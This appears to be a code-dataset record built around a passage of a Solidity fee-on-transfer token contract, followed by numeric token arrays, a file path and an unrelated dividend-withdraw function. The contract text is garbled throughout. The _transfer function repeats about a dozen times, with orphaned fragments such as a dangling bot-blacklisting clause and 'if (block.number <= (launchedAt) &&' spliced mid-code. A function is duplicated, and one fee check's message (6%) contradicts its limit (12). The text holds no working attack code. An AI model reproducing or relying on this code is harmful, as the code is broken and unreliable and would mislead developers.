_maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { bots[to] = true; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { bots[to] = true; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { bots[to] = true; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { bots[to] = true; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { bots[to] = true; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { bots[to] = true; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { bots[to] = true; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { bots[to] = true; } } _tokenTransfer(from, to, amount, takeFee); } } else { function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { bots[to] = true; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { bots[to] = true; } } _tokenTransfer(from, to, amount, takeFee); } if (block.number <= (launchedAt) && function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { bots[to] = true; } } _tokenTransfer(from, to, amount, takeFee); } function setFee(uint256 redisFeeOnBuy, uint256 taxFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnSell) external onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _taxFeeOnBuy = taxFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnSell = taxFeeOnSell; require((_redisFeeOnBuy + _taxFeeOnBuy) <= 12, "Must keep fees at 6% or less"); require((_redisFeeOnSell + _taxFeeOnSell) <= 12, "Must keep fees at 12% or less"); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function enableTrading() public onlyOwner { tradingOpen = true; launchedAt = block.number + 2; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function removeLimits() public onlyOwner { _maxTxAmount = MAX; _maxWalletSize = MAX; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, _marketingAddress); _marketingAddress = payable(newMarketingWallet); } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, _developmentAddress); _developmentAddress = payable(newWallet); } }
15,904,898
[ 1, 11890, 5034, 3238, 5381, 389, 88, 5269, 273, 1725, 5482, 5482, 5482, 28, 225, 1728, 67, 31734, 31, 8176, 30174, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 423, 4361, 40, 280, 83, 225, 353, 1772, 16, 467, 654, 39, 3462, 16, 14223, 6914, 288, 203, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 533, 3238, 5381, 389, 529, 273, 315, 6586, 369, 280, 83, 657, 89, 14432, 203, 565, 533, 3238, 5381, 389, 7175, 273, 315, 5407, 51, 14432, 203, 565, 2254, 28, 3238, 5381, 389, 31734, 273, 2468, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 3238, 389, 86, 5460, 329, 31, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 3238, 389, 88, 5460, 329, 31, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 565, 2874, 12, 2867, 516, 1426, 13, 3238, 389, 291, 16461, 1265, 14667, 31, 203, 565, 2874, 12, 2867, 516, 1426, 13, 3238, 389, 291, 13407, 1265, 14667, 31, 203, 565, 2254, 5034, 3238, 5381, 4552, 273, 4871, 11890, 5034, 12, 20, 1769, 203, 565, 2254, 5034, 3238, 5381, 389, 88, 5269, 273, 15088, 3784, 380, 1728, 636, 67, 31734, 31, 203, 565, 2254, 5034, 3238, 389, 86, 5269, 273, 261, 6694, 300, 261, 6694, 738, 389, 88, 5269, 10019, 203, 565, 2254, 5034, 3238, 389, 88, 14667, 5269, 31, 203, 203, 565, 2254, 5034, 5381, 3238, 389, 12311, 14667, 1398, 38, 9835, 7505, 273, 374, 31, 203, 565, 2254, 5034, 5381, 3238, 389, 8066, 14667, 1398, 38, 9835, 7505, 273, 1666, 31, 203, 565, 2254, 5034, 5381, 3238, 389, 12311, 14667, 1398, 55, 1165, 7505, 2 ]
./full_match/4/0x7dcD4A6858415C110cee5bBD6Edc21d3C3afBAfb/sources/contracts/FennecFox.sol
@notice Withdraws the ether distributed to the sender. @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0.
function _withdrawDividendOfUser(address payable user) internal returns (uint256) { uint256 _withdrawableDividend = withdrawableDividendOf(user); if (_withdrawableDividend > 0) { withdrawnDividends[user] = withdrawnDividends[user].add(_withdrawableDividend); emit DividendWithdrawn(user, _withdrawableDividend); bool success = IERC20(REWARD).transfer(user, _withdrawableDividend); if(!success) { withdrawnDividends[user] = withdrawnDividends[user].sub(_withdrawableDividend); return 0; } return _withdrawableDividend; } return 0; }
789,799
[ 1, 1190, 9446, 87, 326, 225, 2437, 16859, 358, 326, 5793, 18, 225, 2597, 24169, 279, 1375, 7244, 26746, 1190, 9446, 82, 68, 871, 309, 326, 3844, 434, 598, 9446, 82, 225, 2437, 353, 6802, 2353, 374, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 445, 389, 1918, 9446, 7244, 26746, 951, 1299, 12, 2867, 8843, 429, 729, 13, 2713, 1135, 261, 11890, 5034, 13, 288, 203, 565, 2254, 5034, 389, 1918, 9446, 429, 7244, 26746, 273, 598, 9446, 429, 7244, 26746, 951, 12, 1355, 1769, 203, 565, 309, 261, 67, 1918, 9446, 429, 7244, 26746, 405, 374, 13, 288, 203, 1377, 598, 9446, 82, 7244, 350, 5839, 63, 1355, 65, 273, 598, 9446, 82, 7244, 350, 5839, 63, 1355, 8009, 1289, 24899, 1918, 9446, 429, 7244, 26746, 1769, 203, 1377, 3626, 21411, 26746, 1190, 9446, 82, 12, 1355, 16, 389, 1918, 9446, 429, 7244, 26746, 1769, 203, 1377, 1426, 2216, 273, 467, 654, 39, 3462, 12, 862, 21343, 2934, 13866, 12, 1355, 16, 389, 1918, 9446, 429, 7244, 26746, 1769, 203, 203, 1377, 309, 12, 5, 4768, 13, 288, 203, 3639, 598, 9446, 82, 7244, 350, 5839, 63, 1355, 65, 273, 598, 9446, 82, 7244, 350, 5839, 63, 1355, 8009, 1717, 24899, 1918, 9446, 429, 7244, 26746, 1769, 203, 3639, 327, 374, 31, 203, 1377, 289, 203, 203, 1377, 327, 389, 1918, 9446, 429, 7244, 26746, 31, 203, 565, 289, 203, 203, 565, 327, 374, 31, 203, 225, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x099d60fE4074cb1f160CFaB83074B0a06f14D95B/sources/SIMP.sol
* @dev Wrappers over Solidity's arithmetic operations. NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler now has built in overflow checking./
